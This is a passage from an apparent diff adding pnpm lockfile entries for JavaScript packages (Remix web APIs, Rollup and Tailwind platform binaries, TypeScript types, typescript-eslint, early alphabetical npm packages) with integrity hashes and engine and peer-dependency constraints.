'@remix-run/web-blob@3.1.0': + resolution: {integrity: sha512-owGzFLbqPH9PlKb8KvpNJ0NO74HWE2euAn61eEiyCXX/oteoVzTVSN8mpLgDjaxBf2btj5/nUllSUgpyd6IH6g==} + + '@remix-run/web-fetch@4.4.2': + resolution: {integrity: sha512-jgKfzA713/4kAW/oZ4bC3MoLWyjModOVDjFPNseVqcJKSafgIscrYL9G50SurEYLswPuoU3HzSbO0jQCMYWHhA==} + engines: {node: ^10.17 || >=12.3} + + '@remix-run/web-file@3.1.0': + resolution: {integrity: sha512-dW2MNGwoiEYhlspOAXFBasmLeYshyAyhIdrlXBi06Duex5tDr3ut2LFKVj7tyHLmn8nnNwFf1BjNbkQpygC2aQ==} + + '@remix-run/web-form-data@3.1.0': + resolution: {integrity: sha512-NdeohLMdrb+pHxMQ/Geuzdp0eqPbea+Ieo8M8Jx2lGC6TBHsgHzYcBvr0LyPdPVycNRDEpWpiDdCOdCryo3f9A==} + + '@remix-run/web-stream@1.1.0': + resolution: {integrity: sha512-KRJtwrjRV5Bb+pM7zxcTJkhIqWWSy+MYsIxHK+0m5atcznsf15YwUBWHWulZerV2+vvHH1Lp1DD7pw6qKW8SgA==} + + '@rollup/plugin-commonjs@29.0.2': + resolution: {integrity: sha512-S/ggWH1LU7jTyi9DxZOKyxpVd4hF/OZ0JrEbeLjXk/DFXwRny0tjD2c992zOUYQobLrVkRVMDdmHP16HKP7GRg==} + engines: {node: '>=16.0.0 || 14 >= 14.17'} + peerDependencies: + rollup: ^2.68.0||^3.0.0||^4.0.0 + peerDependenciesMeta: + rollup: + optional: true + + '@rollup/plugin-node-resolve@15.3.1': + resolution: {integrity: sha512-tgg6b91pAybXHJQMAAwW9VuWBO6Thi+q7BCNARLwSqlmsHz0XYURtGvh/AuwSADXSI4h/2uHbs7s4FzlZDGSGA==} + engines: {node: '>=14.0.0'} + peerDependencies: + rollup: ^2.78.0||^3.0.0||^4.0.0 + peerDependenciesMeta: + rollup: + optional: true + + '@rollup/plugin-typescript@11.1.6': + resolution: {integrity: sha512-R92yOmIACgYdJ7dJ97p4K69I8gg6IEHt8M7dUBxN3W6nrO8uUxX5ixl0yU/N3aZTi8WhPuICvOHXQvF6FaykAA==} + engines: {node: '>=14.0.0'} + peerDependencies: + rollup: ^2.14.0||^3.0.0||^4.0.0 + tslib: '*' + typescript: '>=3.7.0' + peerDependenciesMeta: + rollup: + optional: true + tslib: + optional: true + + '@rollup/pluginutils@5.3.0': + resolution: {integrity: sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q==} + engines: {node: '>=14.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0||^3.0.0||^4.0.0 + peerDependenciesMeta: + rollup: + optional: true + + '@rollup/rollup-android-arm-eabi@4.60.0': + resolution: {integrity: sha512-WOhNW9K8bR3kf4zLxbfg6Pxu2ybOUbB2AjMDHSQx86LIF4rH4Ft7vmMwNt0loO0eonglSNy4cpD3MKXXKQu0/A==} + cpu: [arm] + os: [android] + + '@rollup/rollup-android-arm64@4.60.0': + resolution: {integrity: sha512-u6JHLll5QKRvjciE78bQXDmqRqNs5M/3GVqZeMwvmjaNODJih/WIrJlFVEihvV0MiYFmd+ZyPr9wxOVbPAG2Iw==} + cpu: [arm64] + os: [android] + + '@rollup/rollup-darwin-arm64@4.60.0': + resolution: {integrity: sha512-qEF7CsKKzSRc20Ciu2Zw1wRrBz4g56F7r/vRwY430UPp/nt1x21Q/fpJ9N5l47WWvJlkNCPJz3QRVw008fi7yA==} + cpu: [arm64] + os: [darwin] + + '@rollup/rollup-darwin-x64@4.60.0': + resolution: {integrity: sha512-WADYozJ4QCnXCH4wPB+3FuGmDPoFseVCUrANmA5LWwGmC6FL14BWC7pcq+FstOZv3baGX65tZ378uT6WG8ynTw==} + cpu: [x64] + os: [darwin] + + '@rollup/rollup-freebsd-arm64@4.60.0': + resolution: {integrity: sha512-6b8wGHJlDrGeSE3aH5mGNHBjA0TTkxdoNHik5EkvPHCt351XnigA4pS7Wsj/Eo9Y8RBU6f35cjN9SYmCFBtzxw==} + cpu: [arm64] + os: [freebsd] + + '@rollup/rollup-freebsd-x64@4.60.0': + resolution: {integrity: sha512-h25Ga0t4jaylMB8M/JKAyrvvfxGRjnPQIR8lnCayyzEjEOx2EJIlIiMbhpWxDRKGKF8jbNH01NnN663dH638mA==} + cpu: [x64] + os: [freebsd] + + '@rollup/rollup-linux-arm-gnueabihf@4.60.0': + resolution: {integrity: sha512-RzeBwv0B3qtVBWtcuABtSuCzToo2IEAIQrcyB/b2zMvBWVbjo8bZDjACUpnaafaxhTw2W+imQbP2BD1usasK4g==} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-arm-musleabihf@4.60.0': + resolution: {integrity: sha512-Sf7zusNI2CIU1HLzuu9Tc5YGAHEZs5Lu7N1ssJG4Tkw6e0MEsN7NdjUDDfGNHy2IU+ENyWT+L2obgWiguWibWQ==} + cpu: [arm] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-arm64-gnu@4.60.0': + resolution: {integrity: sha512-DX2x7CMcrJzsE91q7/O02IJQ5/aLkVtYFryqCjduJhUfGKG6yJV8hxaw8pZa93lLEpPTP/ohdN4wFz7yp/ry9A==} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-arm64-musl@4.60.0': + resolution: {integrity: sha512-09EL+yFVbJZlhcQfShpswwRZ0Rg+z/CsSELFCnPt3iK+iqwGsI4zht3secj5vLEs957QvFFXnzAT0FFPIxSrkQ==} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-loong64-gnu@4.60.0': + resolution: {integrity: sha512-i9IcCMPr3EXm8EQg5jnja0Zyc1iFxJjZWlb4wr7U2Wx/GrddOuEafxRdMPRYVaXjgbhvqalp6np07hN1w9kAKw==} + cpu: [loong64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-loong64-musl@4.60.0': + resolution: {integrity: sha512-DGzdJK9kyJ+B78MCkWeGnpXJ91tK/iKA6HwHxF4TAlPIY7GXEvMe8hBFRgdrR9Ly4qebR/7gfUs9y2IoaVEyog==} + cpu: [loong64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-ppc64-gnu@4.60.0': + resolution: {integrity: sha512-RwpnLsqC8qbS8z1H1AxBA1H6qknR4YpPR9w2XX0vo2Sz10miu57PkNcnHVaZkbqyw/kUWfKMI73jhmfi9BRMUQ==} + cpu: [ppc64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-ppc64-musl@4.60.0': + resolution: {integrity: sha512-Z8pPf54Ly3aqtdWC3G4rFigZgNvd+qJlOE52fmko3KST9SoGfAdSRCwyoyG05q1HrrAblLbk1/PSIV+80/pxLg==} + cpu: [ppc64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-riscv64-gnu@4.60.0': + resolution: {integrity: sha512-3a3qQustp3COCGvnP4SvrMHnPQ9d1vzCakQVRTliaz8cIp/wULGjiGpbcqrkv0WrHTEp8bQD/B3HBjzujVWLOA==} + cpu: [riscv64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-riscv64-musl@4.60.0': + resolution: {integrity: sha512-pjZDsVH/1VsghMJ2/kAaxt6dL0psT6ZexQVrijczOf+PeP2BUqTHYejk3l6TlPRydggINOeNRhvpLa0AYpCWSQ==} + cpu: [riscv64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-s390x-gnu@4.60.0': + resolution: {integrity: sha512-3ObQs0BhvPgiUVZrN7gqCSvmFuMWvWvsjG5ayJ3Lraqv+2KhOsp+pUbigqbeWqueGIsnn+09HBw27rJ+gYK4VQ==} + cpu: [s390x] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-x64-gnu@4.60.0': + resolution: {integrity: sha512-EtylprDtQPdS5rXvAayrNDYoJhIz1/vzN2fEubo3yLE7tfAw+948dO0g4M0vkTVFhKojnF+n6C8bDNe+gDRdTg==} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-x64-musl@4.60.0': + resolution: {integrity: sha512-k09oiRCi/bHU9UVFqD17r3eJR9bn03TyKraCrlz5ULFJGdJGi7VOmm9jl44vOJvRJ6P7WuBi/s2A97LxxHGIdw==} + cpu: [x64] + os: [linux] + libc: [musl] + + '@rollup/rollup-openbsd-x64@4.60.0': + resolution: {integrity: sha512-1o/0/pIhozoSaDJoDcec+IVLbnRtQmHwPV730+AOD29lHEEo4F5BEUB24H0OBdhbBBDwIOSuf7vgg0Ywxdfiiw==} + cpu: [x64] + os: [openbsd] + + '@rollup/rollup-openharmony-arm64@4.60.0': + resolution: {integrity: sha512-pESDkos/PDzYwtyzB5p/UoNU/8fJo68vcXM9ZW2V0kjYayj1KaaUfi1NmTUTUpMn4UhU4gTuK8gIaFO4UGuMbA==} + cpu: [arm64] + os: [openharmony] + + '@rollup/rollup-win32-arm64-msvc@4.60.0': + resolution: {integrity: sha512-hj1wFStD7B1YBeYmvY+lWXZ7ey73YGPcViMShYikqKT1GtstIKQAtfUI6yrzPjAy/O7pO0VLXGmUVWXQMaYgTQ==} + cpu: [arm64] + os: [win32] + + '@rollup/rollup-win32-ia32-msvc@4.60.0': + resolution: {integrity: sha512-SyaIPFoxmUPlNDq5EHkTbiKzmSEmq/gOYFI/3HHJ8iS/v1mbugVa7dXUzcJGQfoytp9DJFLhHH4U3/eTy2Bq4w==} + cpu: [ia32] + os: [win32] + + '@rollup/rollup-win32-x64-gnu@4.60.0': + resolution: {integrity: sha512-RdcryEfzZr+lAr5kRm2ucN9aVlCCa2QNq4hXelZxb8GG0NJSazq44Z3PCCc8wISRuCVnGs0lQJVX5Vp6fKA+IA==} + cpu: [x64] + os: [win32] + + '@rollup/rollup-win32-x64-msvc@4.60.0': + resolution: {integrity: sha512-PrsWNQ8BuE00O3Xsx3ALh2Df8fAj9+cvvX9AIA6o4KpATR98c9mud4XtDWVvsEuyia5U4tVSTKygawyJkjm60w==} + cpu: [x64] + os: [win32] + + '@tailwindcss/node@4.2.2': + resolution: {integrity: sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA==} + + '@tailwindcss/oxide-android-arm64@4.2.2': + resolution: {integrity: sha512-dXGR1n+P3B6748jZO/SvHZq7qBOqqzQ+yFrXpoOWWALWndF9MoSKAT3Q0fYgAzYzGhxNYOoysRvYlpixRBBoDg==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [android] + + '@tailwindcss/oxide-darwin-arm64@4.2.2': + resolution: {integrity: sha512-iq9Qjr6knfMpZHj55/37ouZeykwbDqF21gPFtfnhCCKGDcPI/21FKC9XdMO/XyBM7qKORx6UIhGgg6jLl7BZlg==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [darwin] + + '@tailwindcss/oxide-darwin-x64@4.2.2': + resolution: {integrity: sha512-BlR+2c3nzc8f2G639LpL89YY4bdcIdUmiOOkv2GQv4/4M0vJlpXEa0JXNHhCHU7VWOKWT/CjqHdTP8aUuDJkuw==} + engines: {node: '>= 20'} + cpu: [x64] + os: [darwin] + + '@tailwindcss/oxide-freebsd-x64@4.2.2': + resolution: {integrity: sha512-YUqUgrGMSu2CDO82hzlQ5qSb5xmx3RUrke/QgnoEx7KvmRJHQuZHZmZTLSuuHwFf0DJPybFMXMYf+WJdxHy/nQ==} + engines: {node: '>= 20'} + cpu: [x64] + os: [freebsd] + + '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': + resolution: {integrity: sha512-FPdhvsW6g06T9BWT0qTwiVZYE2WIFo2dY5aCSpjG/S/u1tby+wXoslXS0kl3/KXnULlLr1E3NPRRw0g7t2kgaQ==} + engines: {node: '>= 20'} + cpu: [arm] + os: [linux] + + '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': + resolution: {integrity: sha512-4og1V+ftEPXGttOO7eCmW7VICmzzJWgMx+QXAJRAhjrSjumCwWqMfkDrNu1LXEQzNAwz28NCUpucgQPrR4S2yw==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@tailwindcss/oxide-linux-arm64-musl@4.2.2': + resolution: {integrity: sha512-oCfG/mS+/+XRlwNjnsNLVwnMWYH7tn/kYPsNPh+JSOMlnt93mYNCKHYzylRhI51X+TbR+ufNhhKKzm6QkqX8ag==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@tailwindcss/oxide-linux-x64-gnu@4.2.2': + resolution: {integrity: sha512-rTAGAkDgqbXHNp/xW0iugLVmX62wOp2PoE39BTCGKjv3Iocf6AFbRP/wZT/kuCxC9QBh9Pu8XPkv/zCZB2mcMg==} + engines: {node: '>= 20'} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@tailwindcss/oxide-linux-x64-musl@4.2.2': + resolution: {integrity: sha512-XW3t3qwbIwiSyRCggeO2zxe3KWaEbM0/kW9e8+0XpBgyKU4ATYzcVSMKteZJ1iukJ3HgHBjbg9P5YPRCVUxlnQ==} + engines: {node: '>= 20'} + cpu: [x64] + os: [linux] + libc: [musl] + + '@tailwindcss/oxide-wasm32-wasi@4.2.2': + resolution: {integrity: sha512-eKSztKsmEsn1O5lJ4ZAfyn41NfG7vzCg496YiGtMDV86jz1q/irhms5O0VrY6ZwTUkFy/EKG3RfWgxSI3VbZ8Q==} + engines: {node: '>=14.0.0'} + cpu: [wasm32] + bundledDependencies: + - '@napi-rs/wasm-runtime' + - '@emnapi/core' + - '@emnapi/runtime' + - '@tybys/wasm-util' + - '@emnapi/wasi-threads' + - tslib + + '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': + resolution: {integrity: sha512-qPmaQM4iKu5mxpsrWZMOZRgZv1tOZpUm+zdhhQP0VhJfyGGO3aUKdbh3gDZc/dPLQwW4eSqWGrrcWNBZWUWaXQ==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [win32] + + '@tailwindcss/oxide-win32-x64-msvc@4.2.2': + resolution: {integrity: sha512-1T/37VvI7WyH66b+vqHj/cLwnCxt7Qt3WFu5Q8hk65aOvlwAhs7rAp1VkulBJw/N4tMirXjVnylTR72uI0HGcA==} + engines: {node: '>= 20'} + cpu: [x64] + os: [win32] + + '@tailwindcss/oxide@4.2.2': + resolution: {integrity: sha512-qEUA07+E5kehxYp9BVMpq9E8vnJuBHfJEC0vPC5e7iL/hw7HR61aDKoVoKzrG+QKp56vhNZe4qwkRmMC0zDLvg==} + engines: {node: '>= 20'} + + '@tailwindcss/postcss@4.2.2': + resolution: {integrity: sha512-n4goKQbW8RVXIbNKRB/45LzyUqN451deQK0nzIeauVEqjlI49slUlgKYJM2QyUzap/PcpnS7kzSUmPb1sCRvYQ==} + + '@tailwindcss/vite@4.2.2': + resolution: {integrity: sha512-mEiF5HO1QqCLXoNEfXVA1Tzo+cYsrqV7w9Juj2wdUFyW07JRenqMG225MvPwr3ZD9N1bFQj46X7r33iHxLUW0w==} + peerDependencies: + vite: ^5.2.0 || ^6 || ^7 || ^8 + + '@trysound/sax@0.2.0': + resolution: {integrity: sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==} + engines: {node: '>=10.13.0'} + + '@types/acorn@4.0.6': + resolution: {integrity: sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==} + + '@types/cookie@0.6.0': + resolution: {integrity: sha512-4Kh9a6B2bQciAhf7FSuMRRkUWecJgJu9nPnx3yzpsfXX/c50REIqpHY4C82bXP90qrLtXtkDxTZosYO3UpOwlA==} + + '@types/debug@4.1.12': + resolution: {integrity: sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==} + + '@types/estree-jsx@1.0.5': + resolution: {integrity: sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==} + + '@types/estree@1.0.8': + resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} + + '@types/hast@2.3.10': + resolution: {integrity: sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==} + + '@types/js-yaml@4.0.9': + resolution: {integrity: sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==} + + '@types/json-schema@7.0.15': + resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} + + '@types/mdast@3.0.15': + resolution: {integrity: sha512-LnwD+mUEfxWMa1QpDraczIn6k0Ee3SMicuYSSzS6ZYl2gKS09EClnJYGd8Du6rfc5r/GZEk5o1mRb8TaTj03sQ==} + + '@types/mdx@2.0.13': + resolution: {integrity: sha512-+OWZQfAYyio6YkJb3HLxDrvnx6SWWDbC0zVPfBRzUk0/nqoDyf6dNxQi3eArPe8rJ473nobTMQ/8Zk+LxJ+Yuw==} + + '@types/ms@2.1.0': + resolution: {integrity: sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==} + + '@types/node@25.3.2': + resolution: {integrity: sha512-RpV6r/ij22zRRdyBPcxDeKAzH43phWVKEjL2iksqo1Vz3CuBUrgmPpPhALKiRfU7OMCmeeO9vECBMsV0hMTG8Q==} + + '@types/prop-types@15.7.15': + resolution: {integrity: sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==} + + '@types/react-dom@18.3.7': + resolution: {integrity: sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==} + peerDependencies: + '@types/react': ^18.0.0 + + '@types/react@18.3.28': + resolution: {integrity: sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw==} + + '@types/resolve@1.20.2': + resolution: {integrity: sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==} + + '@types/semver@7.7.1': + resolution: {integrity: sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA==} + + '@types/trusted-types@2.0.7': + resolution: {integrity: sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==} + + '@types/unist@2.0.11': + resolution: {integrity: sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==} + + '@typescript-eslint/eslint-plugin@6.21.0': + resolution: {integrity: sha512-oy9+hTPCUFpngkEZUSzbf9MxI65wbKFoQYsgPdILTfbUldp5ovUuphZVe4i30emU9M/kP+T64Di0mxl7dSw3MA==} + engines: {node: ^16.0.0 || >=18.0.0} + peerDependencies: + '@typescript-eslint/parser': ^6.0.0 || ^6.0.0-alpha + eslint: ^7.0.0 || ^8.0.0 + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/parser@6.21.0': + resolution: {integrity: sha512-tbsV1jPne5CkFQCgPBcDOt30ItF7aJoZL997JSF7MhGQqOeT3svWRYxiqlfA5RUdlHN6Fi+EI9bxqbdyAUZjYQ==} + engines: {node: ^16.0.0 || >=18.0.0} + peerDependencies: + eslint: ^7.0.0 || ^8.0.0 + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/scope-manager@6.21.0': + resolution: {integrity: sha512-OwLUIWZJry80O99zvqXVEioyniJMa+d2GrqpUTqi5/v5D5rOrppJVBPa0yKCblcigC0/aYAzxxqQ1B+DS2RYsg==} + engines: {node: ^16.0.0 || >=18.0.0} + + '@typescript-eslint/type-utils@6.21.0': + resolution: {integrity: sha512-rZQI7wHfao8qMX3Rd3xqeYSMCL3SoiSQLBATSiVKARdFGCYSRvmViieZjqc58jKgs8Y8i9YvVVhRbHSTA4VBag==} + engines: {node: ^16.0.0 || >=18.0.0} + peerDependencies: + eslint: ^7.0.0 || ^8.0.0 + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/types@6.21.0': + resolution: {integrity: sha512-1kFmZ1rOm5epu9NZEZm1kckCDGj5UJEf7P1kliH4LKu/RkwpsfqqGmY2OOcUs18lSlQBKLDYBOGxRVtrMN5lpg==} + engines: {node: ^16.0.0 || >=18.0.0} + + '@typescript-eslint/typescript-estree@6.21.0': + resolution: {integrity: sha512-6npJTkZcO+y2/kr+z0hc4HwNfrrP4kNYh57ek7yCNlrBjWQ1Y0OS7jiZTkgumrvkX5HkEKXFZkkdFNkaW2wmUQ==} + engines: {node: ^16.0.0 || >=18.0.0} + peerDependencies: + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/utils@6.21.0': + resolution: {integrity: sha512-NfWVaC8HP9T8cbKQxHcsJBY5YE1O33+jpMwN45qzWWaPDZgLIbo12toGMWnmhvCpd3sIxkpDw3Wv1B3dYrbDQQ==} + engines: {node: ^16.0.0 || >=18.0.0} + peerDependencies: + eslint: ^7.0.0 || ^8.0.0 + + '@typescript-eslint/visitor-keys@6.21.0': + resolution: {integrity: sha512-JJtkDduxLi9bivAB+cYOVMtbkqdPOhZ+ZI5LC47MIRrDV4Yn2o+ZnW10Nkmr28xRpSpdJ6Sm42Hjf2+REYXm0A==} + engines: {node: ^16.0.0 || >=18.0.0} + + '@ungap/structured-clone@1.3.0': + resolution: {integrity: sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==} + + '@vanilla-extract/babel-plugin-debug-ids@1.2.2': + resolution: {integrity: sha512-MeDWGICAF9zA/OZLOKwhoRlsUW+fiMwnfuOAqFVohL31Agj7Q/RBWAYweqjHLgFBCsdnr6XIfwjJnmb2znEWxw==} + + '@vanilla-extract/css@1.18.0': + resolution: {integrity: sha512-/p0dwOjr0o8gE5BRQ5O9P0u/2DjUd6Zfga2JGmE4KaY7ZITWMszTzk4x4CPlM5cKkRr2ZGzbE6XkuPNfp9shSQ==} + + '@vanilla-extract/integration@6.5.0': + resolution: {integrity: sha512-E2YcfO8vA+vs+ua+gpvy1HRqvgWbI+MTlUpxA8FvatOvybuNcWAY0CKwQ/Gpj7rswYKtC6C7+xw33emM6/ImdQ==} + + '@vanilla-extract/private@1.0.9': + resolution: {integrity: sha512-gT2jbfZuaaCLrAxwXbRgIhGhcXbRZCG3v4TTUnjw0EJ7ArdBRxkq4msNJkbuRkCgfIK5ATmprB5t9ljvLeFDEA==} + + '@web3-storage/multipart-parser@1.0.0': + resolution: {integrity: sha512-BEO6al7BYqcnfX15W2cnGR+Q566ACXAT9UQykORCWW80lmkpWsnEob6zJS1ZVBKsSJC8+7vJkHwlp+lXG1UCdw==} + + '@zxing/text-encoding@0.9.0': + resolution: {integrity: sha512-U/4aVJ2mxI0aDNI8Uq0wEhMgY+u4CNtEb0om3+y3+niDAsoTCOB33UF0sxpzqzdqXLqmvc+vZyAt4O8pPdfkwA==} + + abort-controller@3.0.0: + resolution: {integrity: sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==} + engines: {node: '>=6.5'} + + accepts@1.3.8: + resolution: {integrity: sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==} + engines: {node: '>= 0.6'} + + acorn-jsx@5.3.2: + resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + + acorn@8.16.0: + resolution: {integrity: sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==} + engines: {node: '>=0.4.0'} + hasBin: true + + aggregate-error@3.1.0: + resolution: {integrity: sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==} + engines: {node: '>=8'} + + ajv@6.14.0: + resolution: {integrity: sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==} + + ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + + ansi-regex@6.2.2: + resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} + engines: {node: '>=12'} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + ansi-styles@6.2.3: + resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==} + engines: {node: '>=12'} + + anymatch@3.1.3: + resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} + engines: {node: '>= 8'} + + arg@5.0.2: + resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} + + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + + aria-hidden@1.2.6: + resolution: {integrity: sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==} + engines: {node: '>=10'} + + array-buffer-byte-length@1.0.2: + resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==} + engines: {node: '>= 0.4'} + + array-flatten@1.1.1: + resolution: {integrity: sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==} + + array-includes@3.1.9: + resolution: {integrity: sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==} + engines: {node: '>= 0.4'} + + array-union@2.1.0: + resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==} + engines: {node: '>=8'} + + array.prototype.findlast@1.2.5: + resolution: {integrity: sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==} + engines: {node: '>= 0.4'} + + array.prototype.flat@1.3.3: + resolution: {integrity: sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==} + engines: {node: '>= 0.4'} + + array.prototype.flatmap@1.3.3: + resolution: {integrity: sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==} + engines: {node: '>= 0.4'} + + array.prototype.tosorted@1.1.4: + resolution: {integrity: 